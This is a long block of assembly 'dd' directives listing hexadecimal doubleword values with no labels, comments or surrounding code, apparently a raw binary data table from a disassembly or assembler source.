dd 0ACBFA800h, 0F9FB9D04h, 84A0C281h, 0BDE02B50h, 6F00F005h
dd 100348A7h, 0F90D5Ch, 3D429E56h, 93A5DA2Ah, 9D88E709h
dd 0C6E087D6h, 0F295FA50h, 0D9B70081h, 0A1FBA30Dh, 0A0DE7C6Ah
dd 98997384h, 82201D22h, 3AF6FEAFh, 3887C44Dh, 998C0B67h
dd 0FC25F000h, 6E007CD9h, 21BAB096h, 48B140DDh, 560BF84Ch
dd 70DC1481h, 0D5DF2B02h, 1FA440EEh, 7510017Fh, 8F67480Fh
dd 31A448F8h, 0C1B65E00h, 0AD63238Dh, 0E8380020h, 0AFFC7062h
dd 0C92C95Ah, 0EC00DD5Fh, 7E540980h, 90816739h, 0C0F6B406h
dd 31A5338h, 56B9E101h, 0D351A4D0h, 0E46806E0h, 7467001Eh
dd 6C14FD02h, 0F0FF61Ah, 206F8462h, 42370A10h, 29C907Dh
dd 0BDD60CA1h, 7840B2DDh, 58005DCEh, 0B6FEF9FDh, 346A13Ah
dd 7ABEE76Bh, 26D0B42Eh, 0B23078h, 8FE6B700h, 9638DB7Bh
dd 5CE4F291h, 0DD003C45h, 2A858812h, 0B8B0F509h, 0F9C0E30Eh
dd 5577D9Bh, 0C85084C0h, 0B667E18h, 305ADECBh, 12C7E801h
dd 0A52AD0D7h, 0B79D57Bh, 1B543Ah, 1ACD6C86h, 2653032Fh
dd 7CAA2Ah, 8B7F3481h, 1B77D3B0h, 7C774A05h, 0C4C4570Eh
dd 0A400E816h, 29997F1Ch, 21306FAFh, 433F8480h, 8100826Ah
dd 0EC63DCE7h, 7BE5818h, 8A754947h, 0DDFE1296h, 5D5E1458h
dd 90644420h, 0F9F10045h, 8847C7C2h, 285CAD20h, 69420044h
dd 5BFB338Ah, 9C250005h, 760A6B57h, 0BC00BEC7h, 8FAE4A28h
dd 9F290AFh, 561643D9h, 29CDC841h, 4DCA8534h, 0F030FC0h
dd 979A00C0h, 0A0D279C6h, 61001B12h, 8AA184A5h, 5BB4BBAh
dd 9554D1BFh, 0ABB38120h, 0FE16D822h, 30888C00h, 3AE28EFCh
dd 232B0013h, 247E80F6h, 0BCA1762Ch, 1C702F40h, 2511A1DAh
dd 0E44060ECh, 58001E70h, 87FB6B15h, 0FA6534D8h, 0D09B4C13h
dd 3FCF9407h, 378FB0DEh, 0F900245Dh, 1CEC0464h, 0C47C3Ah
dd 0A363F755h, 1F3F33A9h, 3894A700h, 0BE739F4Bh, 76F40069h
dd 98F116B5h, 2E00C901h, 41D60984h, 7DA4B9Bh, 8F8EE18Ch
dd 0D5B793E5h, 16DEA6F0h, 29D0EE50h, 1CAB000h, 3B0547A7h
dd 0C28700F2h, 0A70BF79h, 8500E7C0h, 0C3097BC4h, 0D7148Ch
dd 6F4E322Ah, 0D2118B72h, 653D0F0Bh, 68B88204h, 871FE24Dh
dd 5A015FCh, 254E2BA2h, 3C02DA56h, 805C9044h, 0A3EB5767h
dd 0A0D738BCh, 0E33662h, 0FD45270Ah, 630B5273h, 68423F02h
dd 5E3E2FCCh, 0D2D81E94h, 0E160003Bh, 0A0095F18h, 68833424h
dd 2D7B0300h, 275D6D8h, 0BD6BD26Ch, 4C402E62h, 24015480h
dd 0E30EFA4Bh, 28DC08h, 0A0CC397Eh, 0DBBF6700h, 82D230F5h
dd 3C006F4Eh, 45A52B4h, 67711EB1h, 3131F3Eh, 0DD82EF8Bh
dd 999D2A98h, 0A2FE000h, 0B6FFD0ACh, 0E3F02EC9h, 62B5011Ch
dd 0CC34FB3Ah, 1400E62Bh, 8071537Bh, 0F10B97h, 0B7DD375Fh
dd 43C2F726h, 0BA9A3613h, 0CD45E00h, 62E6FBh, 94AE70AFh
dd 3258B266h, 0FB0C63Ch, 20E0C38Ah, 8FC52B41h, 0A69F0480h
dd 80D13D93h, 0A9D5B480h, 1EB1060Ch, 1D21E8EFh, 0C229B2A8h
dd 2AF3FD6Eh, 78000044h, 0BDFF3802h, 3103CCh, 2F0F74FBh
dd 17564A33h, 8736A00h, 4D35282Ah, 1475076Ch, 0CA97D603h
dd 3CFD00F8h, 152BA15Dh, 8A4EAC07h, 97B0CA30h, 17FBF05h
dd 95E85982h, 0C5C2AAAEh, 80602A98h, 0DBD19Bh, 0F490798Eh
dd 1C6EF014h, 6A62DE16h, 801B101h, 903CF667h, 7D4AF454h
dd 9CF40BCCh, 0F482C5FEh, 0F460BD61h, 589805DBh, 0CA354302h
dd 40AA81DDh, 9AD30B00h, 1042434Ch, 70BBB58h, 0B80A40A4h
dd 0D9290299h, 84D88175h, 0E08AA800h, 80B534B6h, 0E82700B0h
dd 2A1D1C45h, 657639A9h, 7BE158C1h, 43830AEh, 56547500h
dd 0DE871BD5h, 67914907h, 633C03Bh, 5974D844h, 0C2E975E6h
dd 0CDD9680h, 8CD8F440h, 250EDE00h, 0ECFAB971h, 0AB6A016Fh
dd 0F1FBE7B1h, 0C456D6DFh, 0C0C90A8Bh, 0DDA7B78Ch, 93F40048h
dd 8FE143D6h, 32481701h, 67C7A2FBh, 983868DCh, 3AEE10A0h
dd 90152586h, 189BB19Ch, 11145284h, 60069EEh, 0AC62DA8Eh
dd 187E2A3Fh, 213B9ABFh, 53766079h, 8801C803h, 0C7DC5CB0h
dd 287605Eh, 12D254DFh, 37E8D45h, 0BB4C0C99h, 0CD1C76E9h
dd 38F8307Dh, 0CD00F675h, 47B5BFEAh, 995B5263h, 2553010Ch
dd 0CC29F94Ah, 2872C065h, 1755702Eh, 21308025h, 0A96DE1h
dd 6C3CE8C4h, 48BD8A01h, 0C7844600h, 0A1C6DA99h, 0C3150531h
dd 2D3C23h, 563D1FECh, 0CC09F10Eh, 684A8943h, 157A70h
dd 0DC9C6D91h, 0E6A07186h, 1A353900h, 0B40DCA93h, 88FB0072h
dd 0C4DF380Ah, 4900A928h, 9BB85FA8h, 0DD9FF1h, 79F553D9h
dd 0BC91805Ah, 8E56210Fh, 255E6984h, 0C4C99740h, 3D83C20h
dd 0F590FF9Fh, 0FE9C98Eh, 0CB9AD879h, 51C8341Eh, 0A468FB00h
dd 110277h, 55C60A5Dh, 283B4091h, 0E5CC8005h, 78C397B1h
dd 906DDA7Eh, 0A8C3A1A0h, 0E816FC94h, 0CB1400D2h, 4030B54Ch
dd 5500174Dh, 0DAB14328h, 55931F2h, 3F547670h, 0D0C4F421h
dd 78003EF0h, 49FCF1E5h, 1CF6ED4Fh, 1D346A6h, 424A6585h
dd 3DDC605Dh, 1A004871h, 0FD686A29h, 3DCB47F8h, 75AF12h
dd 441D6266h, 0A532DB65h, 0A9610300h, 0CFF14D8Ah, 742F1E05h
dd 0D16A0E85h, 20B17E0h, 0C4007E93h, 9731BAAFh, 3F32F774h
dd 3A007095h, 0C39AEECAh, 0B4165CE4h, 6C403324h, 3B184A86h
dd 353700A2h, 5F0D4FC8h, 3E0E5532h, 2058234Ch, 3B723922h
dd 43243B41h, 7C3F388Ah, 3D2F0208h, 90A077D0h, 0D1C6891Eh
dd 621E9890h, 7D0CA218h, 0F028111Dh, 1353F8BEh, 40EF2E04h
dd 815B6C04h, 100EF76Ah, 831F687Ah, 7802C36Eh, 7EF7C20h
dd 0C393EDEh, 0CDA08080h, 20A01505h, 0A2321062h, 78822860h
dd 0BE7809ECh, 0DC207D94h, 14779375h, 0CDBAFB05h, 1400B06Ah
dd 0D60FDC87h, 282D5005h, 0BBA8C064h, 2B045E62h, 82BE0886h
dd 8131F6Ah, 8099D90Fh, 0B686F730h, 0D57103E0h, 92DA06CFh
dd 0DD61609Fh, 0B8C046C2h
dd 0E574AEEEh, 90D4005Dh, 0F9FB8F6Ah, 4D0064BDh, 37356CCFh
dd 0CBADEBh, 0A954B314h, 0BD835A8Ch, 65BA2E00h, 61C470CFh
dd 0F3E90040h, 0B0913744h, 4707A613h, 0EEF2B689h, 9050B2D0h
dd 765A38F6h, 0D380E83Bh, 0A04082BFh, 843E972Dh, 4D788F20h
dd 0BA2CE1CEh, 0E180E109h, 8C1C2BB9h, 60010484h, 78FCE458h
dd 2180E208h, 0D2B0BC82h, 0CC01B291h, 0C0F56305h, 0BA00429Eh
dd 0F002F43Dh, 0ABCA32F6h, 0B374C106h, 0F9A0B457h, 0F3D91Ah
dd 2094923Ah, 2F027F82h, 0F67ACD04h, 72C02EEDh, 16AC35Ah
dd 29E8D6BFh, 4872B735h, 0AC0141C0h, 6F6A7B17h, 7ADCD560h
dd 6EF21566h, 0DE00F473h, 0F54AE30Bh, 0A0097CFh, 928B5D17h
dd 0EBA0946h, 0ED37B564h, 13ECF4C7h, 390078C3h, 2C08DF60h
dd 0EDC89Ch, 90254CB2h, 1603CBD3h, 915670F3h, 4BD4C200h
dd 0A2656AB6h, 0F7570080h, 8F1BE605h, 0F800E187h, 0E8E23BF1h
dd 6165074h, 174486C2h, 0DC0508CEh, 8EA3688Ch, 9DEC8281h
dd 3DF54D0h, 96612336h, 0D0E13F8Ah, 0D399F087h, 60228B03h
dd 0C12381D9h, 55D1D6ACh, 6232108Fh, 617E3763h, 8F649FE0h
dd 38E7B500h, 209CE850h, 8CA400ADh, 8DC76B3Eh, 0A37C6522h
dd 0D3693007h, 83833D87h, 0F30A6B8h, 97AB32B9h, 0A480380Eh
dd 0D55427FBh, 7C6F8301h, 0F96C91D3h, 47A6444h, 0E60EC3EFh
dd 2E100687h, 192BC996h, 0D6095800h, 8710DA31h, 2F2107BDh
dd 0B3A5CD0Ah, 0CF904E85h, 2C606B49h, 33973731h, 9BAE03E1h
dd 83964892h, 21320830h, 0E339CD6h, 0AA496C3Bh, 6520F5CFh
dd 187C8DAFh, 0D30032EAh, 50AEE4F0h, 3A9564h, 0B95679C0h
dd 0F6E6D478h, 0A8B57401h, 0FA75D92Bh, 0A540C18Ch, 30C0AB36h
dd 64EA0477h, 174E0680h, 298672D9h, 89215130h, 804284h
dd 70584ECFh, 0F0D0D49Ch, 5CA2310Ch, 3C9E8F9h, 9316D2D9h
dd 410077DEh, 5802F2A4h, 19638330h, 8EAC9F5h, 8D2180BCh
dd 0BB802FAh, 79BE03C5h, 0F3CCB2B1h, 70455006h, 85E02031h
dd 60A5C42Ch, 31E48Eh, 6023580Ch, 6728B16h, 0DAE4DD54h
dd 0CCA15D00h, 26CD5C9Ch, 0F37DB8h, 3009E53Fh, 819EC1D7h
dd 0B358EB61h, 3982A8AAh, 0FFDF924h, 6E0F0452h, 0C1EA3658h
dd 4F2B576Dh, 0D6B853h, 36418321h, 9D7C036Eh, 70140A7Ah
dd 0CA0C73Dh, 29D2A1B3h, 308B49A7h, 0C62D9900h, 0B4FF6F50h
dd 0FC8F1D00h, 9C7BC939h, 0BC406260h, 0E0E4C03Eh, 593F8B11h
dd 6DEF708h, 984A3140h, 0A449296h, 9C16D159h, 2F5C0A4h
dd 0FB46305Fh, 8A00A222h, 32E102FDh, 35FC022h, 3844A3BAh
dd 0C03ADBE9h, 0A1CF2051h, 0A918436Ch, 0AEE33304h, 3A32954Bh
dd 3390E027h, 30DEC093h, 0B371B075h, 88A8C1ADh, 0E53405C7h
dd 680668CCh, 0A412E1Ch, 0C75840A0h, 48F0384h, 1DE0B192h
dd 0B490C462h, 1F40D815h, 0A36C1E94h, 0CA3D38B3h, 0AC744063h
dd 4A942408h, 0D8143E80h, 4305EC2Eh, 1AB6CB1h, 49384D98h
dd 0D0402129h, 5E10D89Bh, 0D23716C3h, 0CB350390h, 13E4A00Eh
dd 2C910644h, 88E95130h, 339430E6h, 93AEE208h, 40356492h
dd 67339DEDh, 0E2FB1C4Ah, 0EC987E54h, 30DEF94Ch, 925D4607h
dd 50437EB3h, 19390E3Bh, 6F209A42h, 0B8EF7B32h, 7054750Fh
dd 1E08E59h, 1CDD400Eh, 0AE444987h, 0C4FAF0h, 0CBF80FC0h
dd 31035967h, 41205A61h, 0E9D012CAh, 0E554041Eh, 0A430D025h
dd 0AD40C058h, 51B260DEh, 13F7922Fh, 760297F6h, 0A4511216h
dd 4CD8A096h, 20BBEBh, 0D0F9FBF0h, 28F8526Eh, 3D0423F0h
dd 0D3055596h, 8C8E2094h, 12C03088h, 30D2551Bh, 0C6192251h
dd 140035FDh, 0ED396EF5h, 171B5Eh, 0F22CF6DCh, 9663CAD8h
dd 9C6C354Ch, 0B080F0C6h, 145009D8h, 4020DA06h, 2DF8D15Fh
dd 85A73800h, 0C3308A8Ch, 9282072Bh, 0D264F7A8h, 908022EDh
dd 8168B291h, 4977B492h, 0D06D9624h, 0F3C09E9Ch, 0E2A9DEFDh
dd 5108C6FFh, 9300813Dh, 0B93EF0D1h, 399149h, 844C2C55h
dd 4089636Fh, 4E95F103h, 0D1622B30h, 7E31E643h, 0E1A6B010h
dd 0D94016Ch, 79C3CBF0h, 8E089888h, 0F9B921h, 83B5FC6Ch
dd 3D0DA809h, 50448259h, 9444AC04h, 259F0984h, 6CB0FBF9h
dd 0E8763666h, 67A87D21h, 87369081h, 0B001DD38h, 572B4CDh
dd 0C8F63D4Dh, 40FB7524h, 0A348B316h, 86781ECh, 9C4026DDh
dd 309AE734h, 9708F956h, 4E7F599h, 0FB5C0820h, 597F0058h
dd 270D0205h, 0C7600EEDh, 56BC1051h, 0EC011FD9h, 5F2CC042h
dd 0BDFE7FBh, 8864B858h, 49908927h, 34600D00h, 5DFEACD3h
dd 0F1659C07h, 4A9BADBh, 80645644h, 83AEFC54h, 0D7C0D0B1h
dd 0E67B339Fh, 763400CCh, 88A3E4B2h, 0F154A4D5h, 0AF008AC4h
dd 3C35C43h, 108C0A39h, 32E8B9CDh, 679050A4h, 80514F18h
dd 0D6ADB258h, 24887308h, 60606E46h, 0CD677C34h, 0A1567100h
dd 0C0E53392h, 21DC6005h, 24CB1AC1h, 0D5F0B500h, 0D64E90F7h
dd 0C8650EC9h, 49296497h, 0D9085C27h, 0CFA1D090h, 62A9D988h
dd 437420F4h, 0E830C611h, 788A8A44h, 0B9EC6360h, 1391900h
dd 56C4903Fh, 0EF7000Bh, 0C8F6F827h, 9C1F4AAAh, 24382E38h
dd 0D0150BEh, 8E8010CDh, 8C40A074h, 0E633A80Eh, 343876AEh
dd 1917DE1h, 0ACB32B1Ah, 40C7A23Dh, 961F08BCh, 8304324Ch
dd 0CCC858AEh, 0A400F709h, 5231FD67h, 4893282Eh, 0D3BCB98Fh
dd 5985F404h, 12903016h, 60ECE153h, 480C2C7Eh, 38F2BCA2h
dd 410A0020h, 436C8F8Dh, 0E091A7FCh, 0AA84EF9Eh, 8362E00Dh
dd 6CE7B720h, 22BD5C1Bh, 20ECB413h, 0F47D7CBCh, 1144201h
dd 9B7547C3h, 90F0E00Ch, 0DE51EA00h, 63F4EFE4h, 24EE1C30h
dd 7047815Eh, 74D79D26h, 58C91ACh, 306602E8h, 308CE93h
dd 0BA02F08Bh, 3B42E8A7h, 2FC0028Ah, 0D73E05ACh, 97F6AC81h
dd 0CD72E08Dh, 3F2E7092h, 46743C61h, 75AA1FA1h, 0B456C580h
dd 0C1F35958h, 0E21DF9E1h, 0AC6086D1h, 46C89D01h, 2FE019Fh
dd 60E3305Ch, 89A01028h, 0D0003E6h, 0B8F68067h, 1322243Eh
dd 8B1F808h, 5AC1E784h, 5DD8F436h, 0D2448657h, 3643038Dh
dd 0B60ADE11h, 898614Ch, 2BBA050h, 0D22A3571h, 0C24C90A4h
dd 0A448CBA8h, 732ED927h, 8A4E2C83h, 0FF40649Eh, 21304102h
dd 0A09163EBh, 3E78400h, 37284295h, 654BF7F0h, 1DF62CF0h
dd 0C2E921FCh, 0A3B2449Ch, 0A72A7C52h, 803A488h, 942E754Fh
dd 319FF827h, 4AA53E16h, 0C11E4C9h, 2F5112B0h, 13E37440h
dd 24BB169Eh, 3DF0D9D2h, 0EA8F506h, 1A7061DEh, 1CB00300h
dd 5C3AC929h, 5E700483h, 0D2E39985h, 1851AC78h, 0C0183479h
dd 9A7FB917h, 0B09C4E00h, 485CB231h, 5E06B4AFh, 313CCA96h
dd 91D80E30h, 12A20A8h, 0B5794625h, 0D863D0A0h, 564CE939h
dd 449F0970h, 7FA04850h, 0A779Eh, 78E05A3Bh, 0E61479C4h
dd 13DCA258h, 8020D8B3h, 0B24E94h, 7F0A2FC6h, 0E154A052h
dd 0D45FFF2Ch, 60A7F108h, 0DA96CE6h, 0F4A640B8h, 1B08544h
dd 0A9986CFEh, 74B8AA99h, 38757F24h, 3501B494h, 0BCB0B1A2h
dd 49F924F0h, 5B8350FEh, 65B2E936h, 8010D131h, 0D23A3640h
dd 0AC272632h, 4D2C08h, 68A674FBh, 10DCA588h, 8424510Ah
dd 0CD39E80h, 0BFECAA1h, 266D14BDh, 0E023A093h, 6CE200FDh
dd 0CBF80D95h, 0B49A4486h, 5F6CFA09h, 1685D532h, 9205814Bh
dd 6832EDh, 0ACC40751h, 391CCF9h, 588D643Ch, 0B0FC6138h
dd 0DA44D894h, 3E53012Eh
dd 2D1DC271h, 3FB8283Fh, 59201242h, 92C95880h, 81956063h
dd 6FA0B396h, 0B610F460h, 284A3E59h, 30B49E2Ch, 50298FA6h
dd 6A761255h, 48420502h, 800EBF90h, 3C2D723Ch, 8FD02824h
dd 5836399Ah, 92CF602h, 9CA02051h, 0F498DD34h, 309288ECh
dd 114AA4A1h, 0C8E2F6E4h, 0C089A49Ch, 5171A179h, 0F11276BAh
dd 0AB008DE4h, 4A59F9D4h, 0B996F8D7h, 16086C88h, 9D461898h
dd 5A02F402h, 0BB31F330h, 2FCB710h, 7D36C403h, 0BFECAEh
dd 46C3F219h, 0DA098D9Fh, 0D6D50A0Eh, 8442961Ch, 68FA3D0Ch
dd 312FA7F0h, 0D939B5ECh, 83EBD821h, 7E5A1F00h, 5E182B07h
dd 9F8E090Bh, 0AC103197h, 0A4AAC40Eh, 9CC2DA40h, 9A073700h
dd 4909325Eh, 890428BAh, 175B4CC8h, 650E12Ch, 39DBAFB3h
dd 4406D92Eh, 0ECA2B140h, 0C930CEF1h, 0BCE88434h, 1209E68Ch
dd 8879A269h, 24EE54C8h, 0CAF33800h, 2DC39B1Eh, 0B2A701E9h
dd 0E0203ECEh, 0E060DAC2h, 0B95D0864h, 0E01F2E04h, 12324674h
dd 0E7005F95h, 0B79A0F36h, 58D6627Dh, 0C9023585h, 49386114h
dd 8B748040h, 0A5B38020h, 71428CA6h, 50A44C7Ch, 0D5385B81h
dd 5048A93Eh, 75D4C580h, 184F0A08h, 1958CB96h, 0DB004CF7h
dd 43DE34E7h, 53D75C8h, 2CD68D36h, 0C04C9B28h, 7C5CD0E6h
dd 0BEAF01FEh, 0EE354E1h, 0F4A180D3h, 0E77672B6h, 0D5C400E5h
dd 595BC12Fh, 1F013E62h, 0BDEBBC4Eh, 7C732C5Fh, 0BE078E48h
dd 0C17A8B8Dh, 63FB4907h, 0AC4788A8h, 17E029FAh, 4C2020A7h
dd 46E6EA04h, 903C59h, 0A70E81E3h, 4D97FF5Ah, 9618EC55h
dd 584449C4h, 0B8454D4Fh, 7C89E159h, 3047FC02h, 0EF113395h
dd 3F88ABAEh, 33C0EC9Eh, 0D299074Bh, 5A5839F4h, 31E559E0h
dd 0F74A48A2h, 0E4093812h, 0CFCC6DCFh, 309479E0h, 41E0672Ch
dd 0F44C2892h, 6B661324h, 0FAD9890h, 0DBA3042Bh, 0D2B836AAh
dd 386CE450h, 8E7E0B13h, 8CE74498h, 976CFC04h, 8062880Dh
dd 9F34623h, 1365F220h, 0D9527C99h, 0C8F761AEh, 10006D59h
dd 430207F7h, 4AAFAA21h, 0AEFC2208h, 8CA5CFE3h, 4825505Ch
dd 63D811B3h, 0F082E829h, 5602B478h, 3007250h, 0C568E51Bh
dd 6690E279h, 190F3803h, 6C363ADBh, 2A4E031h, 8067BA1Dh
dd 0C084444Eh, 364161F4h, 0ACB50020h, 8EEA44C0h, 42365600h
dd 887DE987h, 284F0B89h, 0F048A402h, 98008DA5h, 9E6B03ACh
dd 1DE6545h, 0F215FDFh, 389408DAh, 436C0BCCh, 0E3B431F0h
dd 0FC0C2EE8h, 0B38085CAh, 5E96CFBh, 800C1E81h, 0FE0D87A9h
dd 0D8B6928Ch, 4558E060h, 0EE31F462h, 79A85915h, 2E5183Bh
dd 5CD84FF7h, 0AC444C27h, 98CD8B24h, 612244Ah, 10AE8888h
dd 19ADD850h, 4419318Bh, 0CF238829h, 0F4317B13h, 9E008ECCh
dd 3161C997h, 8AA7F739h, 0F81A7980h, 0DD2EFE81h, 3A2C5200h
dd 56952915h, 0D4F649FBh, 30E27442h, 13FAA830h, 93F17EEh
dd 9865AD74h, 65A1E4h, 3FF8B7B6h, 402FC63Dh, 56D404E4h
dd 20DD88C2h, 0DE986DF2h, 49744600h, 2107E4CEh, 52AB0ED8h
dd 960A87Fh, 0C2C6D3Fh, 44CB4801h, 0D32B1138h, 0EBB81029h
dd 0E5F5008Ch, 9345EDC2h, 750014B2h, 643E6699h, 58567421h
dd 337D8E1Fh, 0B339CCA1h, 432ED0A7h, 9C9C8740h, 56350C60h
dd 7A0927Bh, 0D9425BB0h, 0B1BBD569h, 7F402DACh, 0A7C59A07h
dd 3971DA04h, 0F0203ECAh, 0F8F11D6Eh, 67A6BC74h, 63DE81BCh
dd 845BE7B5h, 99FC3C0h, 300810CCh, 0E81F21Fh, 4518683Fh
dd 0C8692270h, 0F5330E56h, 4D822082h, 7C63DDFAh, 0ABA90998h
dd 0CBFC4F00h, 5BE671A2h, 578700C4h, 0DD10DA72h, 75380F0Ch
dd 7E00F4A5h, 7850C751h, 39C42104h, 0E6F89C7Ch, 9F7CD6h
dd 42841BC8h, 0EA309845h, 726F8700h, 109AF3C2h, 0B87A73EEh
dd 3C6EE2ACh, 0A480890Fh, 678E5F0Ch, 0E6009633h, 43F501ACh
dd 908CA8A1h, 58A7127Ch, 5B280142h, 269016D1h, 2E91F40h
dd 0C49B3008h, 0F18E44BEh, 0D4735081h, 194D3698h, 7834AA49h
dd 10C760B6h, 64E0DC35h, 140B242Ch, 70D0B750h, 0A4E9D43Dh
dd 0B1584018h, 28CDF918h, 2CF06DF5h, 808AF66h, 0E560A7FAh
dd 210DA86Ch, 9F91CAD0h, 6CFDB500h, 0B63582AFh, 0BE1FDF01h
dd 0CD96B0B4h, 0F8485472h, 50A94C10h, 0C5DDAB0h, 0C62000F8h
dd 0F22CF7D7h, 0CB7FE2CDh, 6C480E88h, 1A00B538h, 728CD316h
dd 0F6B72D71h, 9B5C02EBh, 0EC41CB0Eh, 81D78490h, 9473350Bh
dd 9D9C9249h, 83D211A0h, 0A59651EAh, 5C1A50F4h, 2E4E9C21h
dd 0BC237Ch, 26CA76BFh, 0A048B264h, 2934CFB8h, 7940512Dh
dd 5BD18D3h, 0A250C58h, 2C980272h, 0B0A4DC43h, 0E258E26Ch
dd 0F30F309Ch, 0D6342C00h, 21F658D8h, 0A466130Ah, 58601868h
dd 90B93D59h, 6660D4D3h, 0DC00024Fh, 0E4005BBh, 9E5958FBh
dd 0D0D1975Ch, 0EDFD018Ch, 4A8D4B00h, 615BD07h, 0C5F9C0C0h
dd 3AF27C98h, 6342249Ah, 25CB8B0Ah, 740CA6F8h, 0B10F3546h
dd 52E0240Ah, 30593CB9h, 4540DC9Ch, 80CD6118h, 14910EE9h
dd 0FC4A6800h, 0C30D1D3h, 40731150h, 8C004C5Ah, 703ADD28h
dd 162CE7F6h, 18583023h, 0E866F172h, 1E0164B1h, 5A3D087Ch
dd 4C34FC31h, 5E80B491h, 2D02BC46h, 188AB3Eh, 0B700A0F9h
dd 0FCC6C1ECh, 4F64002Ch, 8423D3CAh, 2095A5E7h, 3EB890C4h
dd 12524AC9h, 23003A08h, 750129Dh, 15DE05h, 0F23AC7A5h
dd 0F0A4E404h, 2080A83Ch, 13B143Fh, 0A2E98A7Dh, 0EB8DE340h
dd 40796CE2h, 7198271h, 70E969E6h, 0F14220Eh, 81EEA151h
dd 1274FBD2h, 0FC58F02Dh, 1C8CD0E8h, 0A677502Dh, 0F77D4064h
dd 492541C8h, 0EB900185h, 0C450B4D1h, 0EE7BA1h, 9DFE7FAAh
dd 0F6E0B6CCh, 93129801h, 0ABB24F03h, 47049C7Dh, 73AFD08h
dd 200BA20Eh, 0CD33CE10h, 9C81E6E9h, 0E3449204h, 22847814h
dd 2E122130h, 0F0ECF3h, 0A0E94CE1h, 703113C0h, 0B10043ACh
dd 2AFF74FAh, 40E212Ch, 0CB6DD377h, 0C1C08437h, 0CD011Ch
dd 6414A23Fh, 0B2249094h, 30D0E258h, 9C05B7AAh, 8D582741h
dd 40335808h, 0A0CC50AEh, 38E34C80h, 5167A1Eh, 8400802Ah
dd 0B899F51Dh, 0D718BBD1h, 83939201h, 633E1D8Dh, 4D0C9034h
dd 0EDB88C6Fh, 29683D02h, 0F013606Dh, 2EFA4628h, 263BB85Fh
dd 0D4C4D845h, 36A08C4Fh, 0D5ADF3Bh, 93C37538h, 48B795Dh
dd 0F5C3D5C8h, 0AAEBE0ABh, 0A06502CDh, 0A8954B96h, 58B480A0h
dd 4969A341h, 11049D10h, 66C78082h, 0B64C4A3Eh, 0C82F17C4h
dd 1B03DDF4h, 0FC3F353Ah, 0CFC588E6h, 0EC0FCE7h, 0EA5BF532h
dd 0C80DDFE4h, 0A331B3E8h, 542EC1CDh, 2B5E3033h, 3A9C239Ch
dd 0F0B87500h, 1374C2E6h, 0A8245A4Eh, 10C1A0DAh, 2A5049FFh
dd 0F1372C40h, 4E1AFDh, 771804F5h, 0A8F0AB6Bh, 0B4D239h
dd 3628FADBh, 9992C3A6h, 18A2D1D0h, 4EF90209h, 508E39E5h
dd 253590E0h, 0F9FF788h, 0E8529E58h, 825BC15h, 3597944Ch
dd 0C3821F40h, 0C0F4B5B3h, 6218C185h, 98492AC5h, 0C448C56Fh
dd 0F0C86383h, 30D92F07h, 41E14975h, 0F92C8705h, 0F14C843h
dd 0D9401C0Ch, 0D0CCFC89h, 1E1D1670h, 593CD3C4h, 90C37EDAh
dd 669F8EF8h, 9C0EE2E0h, 255ADE8Dh, 0E88E3354h, 0C93488h
dd 8F38FFB9h, 1331774Fh, 0D07008E8h, 0A4E366F8h, 830CA5Ah
dd 1532FF6h, 0AFCDEA1Bh, 0BEDF0A05h, 2C2C3BA8h, 0C6B82048h
dd 4365C16h, 0F2574DE4h, 458F801Ch, 753D36h, 43E8BEEEh
dd 0C75870E5h, 0F84E4DF2h
dd 80CCB8D1h, 0EDF94703h, 4A1984C5h, 22029E44h, 4C4AD0Ch
dd 3E4404A7h, 287B6B60h, 1C0C4AF8h, 51A7D12Fh, 399BF207h
dd 3200E4C2h, 0A075E848h, 0FC017CFDh, 0C60AC8Dh, 0ECF359C9h
dd 4ED30CB8h, 0ECD410E0h, 0C61DA902h, 445E807Ah, 493F808h
dd 0A216E471h, 30D6F2C0h, 8C0FEFC8h, 0D7A5E53Dh, 0B8A8B884h
dd 38C80BCh, 15D0B1E9h, 40BCDA5Ah, 0E84CF244h, 0D7A11C26h
dd 919F00F0h, 8ACBAA2h, 68A6F427h, 14453E24h, 0CCCFF170h
dd 0F400E30h, 28B4F9CDh, 8656611Fh, 7024AE09h, 162E782Ch
dd 1039411Dh, 2F1094E0h, 34561ED6h, 0BB69ED00h, 18879E21h
dd 487EC63Dh, 8D4E03ACh, 348834CEh, 0B84916C3h, 0E8D2CDFh
dd 0B2B05A93h, 0E02A8FCBh, 0D4465E5Ch, 7880AA3Dh, 84939F38h
dd 5CA15235h, 0F2806224h, 0B47B30D1h, 1F3BC316h, 0FA9C88h
dd 94880350h, 4909CDD4h, 20EF801h, 8A2AED1h, 682DA6C1h
dd 980078E8h, 586174FCh, 92F1A8Fh, 0DCAE358Ch, 0B4CEEC07h
dd 598CE094h, 0CFC8C30Eh, 63DF698Bh, 0D0201024h, 44122E92h
dd 3BE4674h, 0CC3A792Fh, 0F894BC1Dh, 86019481h, 0C50DC707h
dd 1C78C221h, 40B6F04Ch, 47091CD4h, 0F7B1895Ch, 1A02648Eh
dd 0F470E046h, 0E9919030h, 3008A611h, 0FA107758h, 3CA7201Ch
dd 0E8603164h, 8B27C10Bh, 50F410CAh, 0C307E3B4h, 190E28C4h
dd 9A814F58h, 4046E8h, 27A51993h, 0F59DE910h, 613DB800h
dd 59CF3C6Eh, 0A12C01AAh, 0FE1D0CB1h, 60DC40C3h, 0BE418C40h
dd 2F5AE822h, 1C8123ACh, 0C0295C60h, 0DA35AB84h, 0BC275669h
dd 0BCC81721h, 0C7531FC6h, 9428E7C0h, 0FCF14972h, 2EC12808h
dd 0D4325F0h, 0BB001C37h, 89370E1Ch, 3FA1067Ah, 0A08D63F3h
dd 9ABCF44h, 472B5575h, 42A43881h, 71E98421h, 44CC40CDh
dd 0C307F50Eh, 41045EF7h, 373972F2h, 3BBC94ECh, 16E6048Ch
dd 0D0A29043h, 0C18E25F8h, 0DAF7D4A1h, 0B2C73C6Dh, 68708A17h
dd 14358754h, 0CC0B91A2h, 37742E00h, 0ADCEB4D9h, 685B2C17h
dd 50594080h, 0ACCD8825h, 4C072275h, 329E795Ah, 8F78ED27h
dd 0BE09454h, 0B340DBD0h, 652510BEh, 6081E480h, 28B9FF4h
dd 306F34ECh, 0B86B98A2h, 0E89D7E24h, 465CACC8h, 0EA7C0035h
dd 0B70F1B19h, 52557230h, 879F8C2h, 5A63CD08h, 1DDC0C2Eh
dd 42D78717h, 0CA21ABDh, 945ED4CAh, 0EA465Ch, 0DF99B273h
dd 0F804383Bh, 277C9042h, 6C3831A5h, 17956C99h, 808E1134h
dd 5409523h, 2C0C734Fh, 198659Ah, 38C9368Fh, 0F8082FBBh
dd 4CD7833Ch, 40F0D8F5h, 95F60759h, 6B55E000h, 4329AD1Bh
dd 0C02097B6h, 7F58F956h, 48D25F4Fh, 80C85CE8h, 792C396h
